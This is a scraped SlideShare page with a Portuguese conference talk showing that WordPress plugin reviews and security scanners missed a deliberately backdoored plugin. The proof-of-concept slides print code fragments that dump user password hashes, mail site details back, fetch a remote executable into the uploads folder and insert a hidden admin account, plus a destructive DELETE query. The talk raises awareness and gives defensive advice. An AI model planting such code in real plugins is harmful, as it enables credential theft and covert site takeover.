SlideShare a Scribd company logo
1 of 25
Download to read offline
Agenda

O que são CMS?

Motivação

Prova de conceito. Happy hour...

Impactos

Conclusões
O que é um CMS (Content Management System)?
São sistemas criados para gerenciar e administrar o
conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla
dentre outros.

Plugins
Agregam novas funcionalidades aos CMS tais como
enquetes, galerias de fotos, integração com redes sociais,
etc.

Temas
Personalizam a aparência dos sites criados através dos
CMS. Permitem algumas customizações.
Considerações




O que não esperar desta apresentação.

1 – Discussões sobre o que é exploit ou não.
Segundo o EC-Council exploit é: A defined way to breach
the security of an IT system through vulnerability.


2 – Demonstrar vulnerabilidades apenas técnicas. SI vai
muito mais além disso.

3 – Que eu seja dono da verdade
Motivação
Motivação – e o Kico???




OK mas e o Kico??
Motivação
Motivação
Prova de conceito. Security as a happy hour...




Dúvidas para a prova de conceito

1 – Os plugins e temas submetidos são realmente
analisados?


2 – Os plugins de “segurança” são eficientes?


3 – O que é possível fazer com um plugin.
Prova de conceito. Security as a happy hour...




1 – Os plugins e temas submetidos são realmente
analisados?

Criado uma versão pt-br do plug-in no-copy de autoria de
Mohanjith http://mohanjith.com/wordpress com o código
malicioso já injetado.

Submetido ao repositório do Wordpress.com juntamente
com os outros milhares de plug-ins disponíveis no site.(Em
dez/2010 – 12.533 plugins com 141.819.480 downloads.

Qual foi o resultado???
Prova de conceito. Security as a happy hour...




1 – Os plugins e temas submetidos são realmente
analisados?
Prova de conceito. Security as a happy hour...




2 – Os plugins de “segurança” são eficientes?
Alguns plugins testados:

Exploit-Scanner-1.0.5 (Identificou o encode_base64)
Wp-security-scan 3.0.6 (Nada, apenas permissões
inadequadas)
Mjp-security-plugin-1.0 (Nada, apenas
permissões inadequadas e usuários default)

Qual foi o resultado???

Nenhum detectou o código malicioso.
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.
Funções utilizadas:

Querys na base de dados.
$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb-
>users"));

Identificar URL onde o blog foi instalado.
get_bloginfo('wpurl');

Redirecionar site para outro endereço.
wp_remote_fopen('http://www.xyz.com/index.html');
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Identificar o diretório de upload do blog - wp_upload_dir();
PATH blog – $upload_dir['basedir'];
URL dos uploads - $upload_dir['baseurl'];
Criar pasta - wp_mkdir_p($target);

Baixar arquivo remoto e efetuar o upload
wp_upload_bits(‘xy.exe', null, file_get_contents($name));
$upload['url'];
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Coletando informações da BD

$results=$wpdb->get_results("SELECT * FROM $wpdb-
>users")
      ....
 $mensagem .= "ID: ". $result->ID ."n";
 $mensagem .= "user_login: ". $result->user_login ."n";
 $mensagem .= "user_pass: ". $result->user_pass ."n";
      ....
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Garantindo o connection Back :D
....
$mensagem = "URL Site: ". $url ."n";
$mensagem .= "Diretório criado em: ". $target_dir."n";
$mensagem .= "Arquivo criado em: ". $target_file."n";
....
$headers .= "From: PoC <poc@localhost>n";
$headers .= "Return-Path: PoC <poc@localhost>n";
$envio = mail("poc@localhost", "PoC", $mensagem,
$headers);
....
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Garantindo o acesso Administrativo
$wpdb->query("
INSERT INTO $wpdb->users (`ID`, `user_login`,
`user_pass`, `user_nicename`, `user_email`,
`user_url`, `user_registered`, `user_activation_key`,
`user_status`, `display_name`) VALUES
(1999,
'poc',
'$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.',
'poc',
'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.




   Live demo – Bonus Track!!!
Prova de conceito. Security as a happy hour...




TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES
     APRESENTADOS TEM COMO OBJETIVO ALERTAR A
                                  PLATÉIA.
Prova de conceito. Security as a happy hour...




                              Entenderam.....
Prova de conceito. Security as a happy hour...




                       Seria possível pegar uma
Conclusões




A principal falha é de processo por conta do wordpress e
não nos plugins.

A função wpdb permite uma infinidade de combinações de
querys SQL como por exemplo:
      $wpdb->query("DELETE FROM $wpdb->posts WHERE
      post_id <> ‘0'");
Como não existe uma garantia da integridade dos plugins e
templates, revise os códigos antes de instalar.

Os plugins de segurança ajudam, mas não eliminam o
problema.
Conclusões




Recomendações como mudar os nomes das tabelas ou o
diretório padrão de upload não eliminam o problema.

Nas pastas de upload verifique as permissões aplicadas em
arquivos e pastas.

Manter o wordpress, plugins e temas atualizados é
indispensável.

Revise os códigos antes de instalar algo.

Teste em ambiente independente.
Próximos passos




Entender o mecanismo de criptografia que aparenta ter
falhas na função avalanche e salt.
Prova de conceito. Security as a happy hour...




         Bonus Bonus Track!!!

       Plugin disponível em:
      http://migre.me/5B4S8

  Usem por sua conta e risco.
        Sem suporte.
Dúvidas?




Thiago Bordini
thiago (at) bordini (dot) net
www.staysafepodcast.com.br

           Security as a happy hour!!!
Agradecimentos:
Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura

Referência:
http://codex.wordpress.org/

More Related Content

What's hot

A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01Reinaldo Junior
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingLuis Gustavo Almeida
 
Fora Hackers! Proteção em camadas do SQL Server
Fora Hackers! Proteção em camadas do SQL ServerFora Hackers! Proteção em camadas do SQL Server
Fora Hackers! Proteção em camadas do SQL ServerFabrício Catae
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Fabrízio Mello
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionDavi Rodrigues
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSLMarcelo Milhomem
 
Manipulando JWT em apis Laravel
Manipulando JWT em apis LaravelManipulando JWT em apis Laravel
Manipulando JWT em apis LaravelEduardo Cesar
 
Criando websites a jato com Django
Criando websites a jato com DjangoCriando websites a jato com Django
Criando websites a jato com DjangoMarcos Petry
 
Autenticação e Controle de Acesso
Autenticação e Controle de AcessoAutenticação e Controle de Acesso
Autenticação e Controle de AcessoDenis L Presciliano
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOLgrupoweblovers
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 

What's hot (17)

A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01
 
Pdo do PHP Palestra
Pdo do PHP PalestraPdo do PHP Palestra
Pdo do PHP Palestra
 
Python 06
Python 06Python 06
Python 06
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
Fora Hackers! Proteção em camadas do SQL Server
Fora Hackers! Proteção em camadas do SQL ServerFora Hackers! Proteção em camadas do SQL Server
Fora Hackers! Proteção em camadas do SQL Server
 
Sql injection
Sql injectionSql injection
Sql injection
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010
 
Python 07
Python 07Python 07
Python 07
 
Aula 8 - SQL Injection
Aula 8 - SQL InjectionAula 8 - SQL Injection
Aula 8 - SQL Injection
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL Injection
 
Palestra sql injection oficial
Palestra sql injection oficialPalestra sql injection oficial
Palestra sql injection oficial
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSL
 
Manipulando JWT em apis Laravel
Manipulando JWT em apis LaravelManipulando JWT em apis Laravel
Manipulando JWT em apis Laravel
 
Criando websites a jato com Django
Criando websites a jato com DjangoCriando websites a jato com Django
Criando websites a jato com Django
 
Autenticação e Controle de Acesso
Autenticação e Controle de AcessoAutenticação e Controle de Acesso
Autenticação e Controle de Acesso
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 

Viewers also liked

Autoevaluación Institución Educativa Buenos aires 2010
Autoevaluación Institución Educativa Buenos aires 2010Autoevaluación Institución Educativa Buenos aires 2010
Autoevaluación Institución Educativa Buenos aires 2010mariovellojin
 
Todo sobre los automóviles’’
Todo sobre los automóviles’’Todo sobre los automóviles’’
Todo sobre los automóviles’’raceororientalj
 
FujiFilm: FCR XG 5000 Radiografia Computadorizada.
FujiFilm: FCR XG 5000 Radiografia Computadorizada.FujiFilm: FCR XG 5000 Radiografia Computadorizada.
FujiFilm: FCR XG 5000 Radiografia Computadorizada.JJSussumu
 
J4 zdp gestão
J4 zdp gestãoJ4 zdp gestão
J4 zdp gestãocfvila
 
Proyecto de democracia 2011
Proyecto de democracia 2011Proyecto de democracia 2011
Proyecto de democracia 2011mariovellojin
 
Cinematografia Londres
Cinematografia LondresCinematografia Londres
Cinematografia Londrestitosm17
 
Case Revista piauí - Loja Comunicação
Case Revista piauí - Loja ComunicaçãoCase Revista piauí - Loja Comunicação
Case Revista piauí - Loja ComunicaçãoLoja_Comunicacao
 
O Bairrista - Apresentação (Midia Kit)
O Bairrista - Apresentação (Midia Kit)O Bairrista - Apresentação (Midia Kit)
O Bairrista - Apresentação (Midia Kit)ACIMA
 
Ove Indicadores Financeiros Le Lis Blanc
Ove Indicadores Financeiros  Le  Lis  BlancOve Indicadores Financeiros  Le  Lis  Blanc
Ove Indicadores Financeiros Le Lis BlancBruno Cossa
 
FujiFilm: Sistema de Imagem Digital Pediátrico
FujiFilm: Sistema de Imagem Digital PediátricoFujiFilm: Sistema de Imagem Digital Pediátrico
FujiFilm: Sistema de Imagem Digital PediátricoJJSussumu
 
O que todo "cucaracha" precisa saber sobre Educação Ambiental
O que todo "cucaracha" precisa saber sobre Educação Ambiental O que todo "cucaracha" precisa saber sobre Educação Ambiental
O que todo "cucaracha" precisa saber sobre Educação Ambiental gramaticamartiana
 
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOSYuri Padilha
 
Pdfseleccion de personal
Pdfseleccion de personalPdfseleccion de personal
Pdfseleccion de personalchelitasm7
 
Gestión y sistema de la calidad
Gestión y sistema de la calidadGestión y sistema de la calidad
Gestión y sistema de la calidadneribocchi
 

Viewers also liked (20)

Alca
AlcaAlca
Alca
 
Atividade individual 002
Atividade individual 002Atividade individual 002
Atividade individual 002
 
Autoevaluación Institución Educativa Buenos aires 2010
Autoevaluación Institución Educativa Buenos aires 2010Autoevaluación Institución Educativa Buenos aires 2010
Autoevaluación Institución Educativa Buenos aires 2010
 
Todo sobre los automóviles’’
Todo sobre los automóviles’’Todo sobre los automóviles’’
Todo sobre los automóviles’’
 
FujiFilm: FCR XG 5000 Radiografia Computadorizada.
FujiFilm: FCR XG 5000 Radiografia Computadorizada.FujiFilm: FCR XG 5000 Radiografia Computadorizada.
FujiFilm: FCR XG 5000 Radiografia Computadorizada.
 
J4 zdp gestão
J4 zdp gestãoJ4 zdp gestão
J4 zdp gestão
 
Proyecto de democracia 2011
Proyecto de democracia 2011Proyecto de democracia 2011
Proyecto de democracia 2011
 
CONCEPTOS IMPORTANTES
CONCEPTOS IMPORTANTESCONCEPTOS IMPORTANTES
CONCEPTOS IMPORTANTES
 
Cinematografia Londres
Cinematografia LondresCinematografia Londres
Cinematografia Londres
 
Case Revista piauí - Loja Comunicação
Case Revista piauí - Loja ComunicaçãoCase Revista piauí - Loja Comunicação
Case Revista piauí - Loja Comunicação
 
O Bairrista - Apresentação (Midia Kit)
O Bairrista - Apresentação (Midia Kit)O Bairrista - Apresentação (Midia Kit)
O Bairrista - Apresentação (Midia Kit)
 
Ove Indicadores Financeiros Le Lis Blanc
Ove Indicadores Financeiros  Le  Lis  BlancOve Indicadores Financeiros  Le  Lis  Blanc
Ove Indicadores Financeiros Le Lis Blanc
 
Campanha adriel novakoski
Campanha adriel novakoskiCampanha adriel novakoski
Campanha adriel novakoski
 
FujiFilm: Sistema de Imagem Digital Pediátrico
FujiFilm: Sistema de Imagem Digital PediátricoFujiFilm: Sistema de Imagem Digital Pediátrico
FujiFilm: Sistema de Imagem Digital Pediátrico
 
MOPP Módulo5 Powerpoint 2010
MOPP Módulo5 Powerpoint 2010MOPP Módulo5 Powerpoint 2010
MOPP Módulo5 Powerpoint 2010
 
O que todo "cucaracha" precisa saber sobre Educação Ambiental
O que todo "cucaracha" precisa saber sobre Educação Ambiental O que todo "cucaracha" precisa saber sobre Educação Ambiental
O que todo "cucaracha" precisa saber sobre Educação Ambiental
 
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
 
20151007.Estudo PGs 24
20151007.Estudo PGs 2420151007.Estudo PGs 24
20151007.Estudo PGs 24
 
Pdfseleccion de personal
Pdfseleccion de personalPdfseleccion de personal
Pdfseleccion de personal
 
Gestión y sistema de la calidad
Gestión y sistema de la calidadGestión y sistema de la calidad
Gestión y sistema de la calidad
 

Similar to Vale Security Conference - 2011 - 6 - Thiago Bordini

Aprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosAprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosRichard Barros
 
Segurança e automação na Amazon: Lições das trincheiras
Segurança e automação na Amazon: Lições das trincheirasSegurança e automação na Amazon: Lições das trincheiras
Segurança e automação na Amazon: Lições das trincheirasBruno Luiz Pereira da Silva
 
[TDC2015] De unitário a aceitação: Automação de testes com Codeception
[TDC2015] De unitário a aceitação: Automação de testes com Codeception[TDC2015] De unitário a aceitação: Automação de testes com Codeception
[TDC2015] De unitário a aceitação: Automação de testes com CodeceptionQualister
 
Como criar um plugin sem ser desenvolvedor
Como criar um plugin sem ser desenvolvedorComo criar um plugin sem ser desenvolvedor
Como criar um plugin sem ser desenvolvedorMarcos Alexandre
 
Desenvolvimento Agil Com Doctrine Orm
Desenvolvimento Agil Com Doctrine OrmDesenvolvimento Agil Com Doctrine Orm
Desenvolvimento Agil Com Doctrine OrmGuilherme Blanco
 
Tutorial visão automação de testes e casper js
Tutorial visão automação de testes e casper jsTutorial visão automação de testes e casper js
Tutorial visão automação de testes e casper js4ALL Tests
 
Tutorial - Visão sobre Automação de Testes com CasperJS
Tutorial - Visão sobre Automação de Testes com CasperJSTutorial - Visão sobre Automação de Testes com CasperJS
Tutorial - Visão sobre Automação de Testes com CasperJSFrederico Allan
 
Teste cabra da peste
Teste cabra da pesteTeste cabra da peste
Teste cabra da pesteMichele Silva
 
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de SegurançaPaulo Henrique
 
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...Daniel Makiyama
 
Introdução a testes de software utilizando selenium
Introdução a testes de software utilizando seleniumIntrodução a testes de software utilizando selenium
Introdução a testes de software utilizando seleniumSandy Maciel
 
Joomla Day Brasil 2010: Customizações para grandes portais
Joomla Day Brasil 2010: Customizações para grandes portaisJoomla Day Brasil 2010: Customizações para grandes portais
Joomla Day Brasil 2010: Customizações para grandes portaisrafaelberlanda
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
Como Limpar Seu Site WordPress
Como Limpar Seu Site WordPressComo Limpar Seu Site WordPress
Como Limpar Seu Site WordPressSucuri
 
Analise frameworks php
Analise frameworks phpAnalise frameworks php
Analise frameworks phpIgor Moura
 

Similar to Vale Security Conference - 2011 - 6 - Thiago Bordini (20)

Aprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosAprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard Barros
 
Desafio Rest API
Desafio Rest APIDesafio Rest API
Desafio Rest API
 
Segurança e automação na Amazon: Lições das trincheiras
Segurança e automação na Amazon: Lições das trincheirasSegurança e automação na Amazon: Lições das trincheiras
Segurança e automação na Amazon: Lições das trincheiras
 
[TDC2015] De unitário a aceitação: Automação de testes com Codeception
[TDC2015] De unitário a aceitação: Automação de testes com Codeception[TDC2015] De unitário a aceitação: Automação de testes com Codeception
[TDC2015] De unitário a aceitação: Automação de testes com Codeception
 
Como criar um plugin sem ser desenvolvedor
Como criar um plugin sem ser desenvolvedorComo criar um plugin sem ser desenvolvedor
Como criar um plugin sem ser desenvolvedor
 
Lm 71 64_67_04_tut_openaudit
Lm 71 64_67_04_tut_openauditLm 71 64_67_04_tut_openaudit
Lm 71 64_67_04_tut_openaudit
 
Tutorial codeigniter
Tutorial codeigniterTutorial codeigniter
Tutorial codeigniter
 
Desenvolvimento Agil Com Doctrine Orm
Desenvolvimento Agil Com Doctrine OrmDesenvolvimento Agil Com Doctrine Orm
Desenvolvimento Agil Com Doctrine Orm
 
Tutorial visão automação de testes e casper js
Tutorial visão automação de testes e casper jsTutorial visão automação de testes e casper js
Tutorial visão automação de testes e casper js
 
Tutorial - Visão sobre Automação de Testes com CasperJS
Tutorial - Visão sobre Automação de Testes com CasperJSTutorial - Visão sobre Automação de Testes com CasperJS
Tutorial - Visão sobre Automação de Testes com CasperJS
 
Selenium - WebDriver
Selenium - WebDriverSelenium - WebDriver
Selenium - WebDriver
 
Java Seminar
Java SeminarJava Seminar
Java Seminar
 
Teste cabra da peste
Teste cabra da pesteTeste cabra da peste
Teste cabra da peste
 
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança
#MINI-CURSO - ModSecurity: Servidor Web Apache com um Módulo de Segurança
 
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...
Aprendendo Na Prática: Aplicativos Web com HTML5, Angular.js, Twitter Bootstr...
 
Introdução a testes de software utilizando selenium
Introdução a testes de software utilizando seleniumIntrodução a testes de software utilizando selenium
Introdução a testes de software utilizando selenium
 
Joomla Day Brasil 2010: Customizações para grandes portais
Joomla Day Brasil 2010: Customizações para grandes portaisJoomla Day Brasil 2010: Customizações para grandes portais
Joomla Day Brasil 2010: Customizações para grandes portais
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Como Limpar Seu Site WordPress
Como Limpar Seu Site WordPressComo Limpar Seu Site WordPress
Como Limpar Seu Site WordPress
 
Analise frameworks php
Analise frameworks phpAnalise frameworks php
Analise frameworks php
 

More from Vale Security Conference

Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)Vale Security Conference
 
Vale Security Conference - 2011 - 13 - Nelson Brito
Vale Security Conference - 2011 - 13 - Nelson BritoVale Security Conference - 2011 - 13 - Nelson Brito
Vale Security Conference - 2011 - 13 - Nelson BritoVale Security Conference
 
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...Vale Security Conference
 
Vale Security Conference - 2011 - 5 - Luiz Eduardo
Vale Security Conference - 2011 - 5 - Luiz EduardoVale Security Conference - 2011 - 5 - Luiz Eduardo
Vale Security Conference - 2011 - 5 - Luiz EduardoVale Security Conference
 
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]Vale Security Conference
 
Vale Security Conference - 2011 - 2 - Dr. Emerson Wendt
Vale Security Conference - 2011 - 2 - Dr. Emerson WendtVale Security Conference - 2011 - 2 - Dr. Emerson Wendt
Vale Security Conference - 2011 - 2 - Dr. Emerson WendtVale Security Conference
 
Vale Security Conference - 2011 - 12 - Rafael Soares Ferreira
Vale Security Conference - 2011 - 12 - Rafael Soares FerreiraVale Security Conference - 2011 - 12 - Rafael Soares Ferreira
Vale Security Conference - 2011 - 12 - Rafael Soares FerreiraVale Security Conference
 
Vale Security Conference - 2011 - 15 - Anchises de Paula
Vale Security Conference - 2011 - 15 - Anchises de PaulaVale Security Conference - 2011 - 15 - Anchises de Paula
Vale Security Conference - 2011 - 15 - Anchises de PaulaVale Security Conference
 
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]Vale Security Conference
 

More from Vale Security Conference (9)

Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
 
Vale Security Conference - 2011 - 13 - Nelson Brito
Vale Security Conference - 2011 - 13 - Nelson BritoVale Security Conference - 2011 - 13 - Nelson Brito
Vale Security Conference - 2011 - 13 - Nelson Brito
 
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
 
Vale Security Conference - 2011 - 5 - Luiz Eduardo
Vale Security Conference - 2011 - 5 - Luiz EduardoVale Security Conference - 2011 - 5 - Luiz Eduardo
Vale Security Conference - 2011 - 5 - Luiz Eduardo
 
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
 
Vale Security Conference - 2011 - 2 - Dr. Emerson Wendt
Vale Security Conference - 2011 - 2 - Dr. Emerson WendtVale Security Conference - 2011 - 2 - Dr. Emerson Wendt
Vale Security Conference - 2011 - 2 - Dr. Emerson Wendt
 
Vale Security Conference - 2011 - 12 - Rafael Soares Ferreira
Vale Security Conference - 2011 - 12 - Rafael Soares FerreiraVale Security Conference - 2011 - 12 - Rafael Soares Ferreira
Vale Security Conference - 2011 - 12 - Rafael Soares Ferreira
 
Vale Security Conference - 2011 - 15 - Anchises de Paula
Vale Security Conference - 2011 - 15 - Anchises de PaulaVale Security Conference - 2011 - 15 - Anchises de Paula
Vale Security Conference - 2011 - 15 - Anchises de Paula
 
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
 

Vale Security Conference - 2011 - 6 - Thiago Bordini

  • 1. Agenda O que são CMS? Motivação Prova de conceito. Happy hour... Impactos Conclusões
  • 2. O que é um CMS (Content Management System)? São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla dentre outros. Plugins Agregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc. Temas Personalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.
  • 3. Considerações O que não esperar desta apresentação. 1 – Discussões sobre o que é exploit ou não. Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability. 2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso. 3 – Que eu seja dono da verdade
  • 5. Motivação – e o Kico??? OK mas e o Kico??
  • 8. Prova de conceito. Security as a happy hour... Dúvidas para a prova de conceito 1 – Os plugins e temas submetidos são realmente analisados? 2 – Os plugins de “segurança” são eficientes? 3 – O que é possível fazer com um plugin.
  • 9. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados? Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado. Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads. Qual foi o resultado???
  • 10. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados?
  • 11. Prova de conceito. Security as a happy hour... 2 – Os plugins de “segurança” são eficientes? Alguns plugins testados: Exploit-Scanner-1.0.5 (Identificou o encode_base64) Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas) Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default) Qual foi o resultado??? Nenhum detectou o código malicioso.
  • 12. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Funções utilizadas: Querys na base de dados. $wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb- >users")); Identificar URL onde o blog foi instalado. get_bloginfo('wpurl'); Redirecionar site para outro endereço. wp_remote_fopen('http://www.xyz.com/index.html');
  • 13. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir']; URL dos uploads - $upload_dir['baseurl']; Criar pasta - wp_mkdir_p($target); Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name)); $upload['url'];
  • 14. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Coletando informações da BD $results=$wpdb->get_results("SELECT * FROM $wpdb- >users") .... $mensagem .= "ID: ". $result->ID ."n"; $mensagem .= "user_login: ". $result->user_login ."n"; $mensagem .= "user_pass: ". $result->user_pass ."n"; ....
  • 15. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o connection Back :D .... $mensagem = "URL Site: ". $url ."n"; $mensagem .= "Diretório criado em: ". $target_dir."n"; $mensagem .= "Arquivo criado em: ". $target_file."n"; .... $headers .= "From: PoC <poc@localhost>n"; $headers .= "Return-Path: PoC <poc@localhost>n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers); ....
  • 16. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o acesso Administrativo $wpdb->query(" INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1999, 'poc', '$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.', 'poc', 'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
  • 17. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Live demo – Bonus Track!!!
  • 18. Prova de conceito. Security as a happy hour... TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES APRESENTADOS TEM COMO OBJETIVO ALERTAR A PLATÉIA.
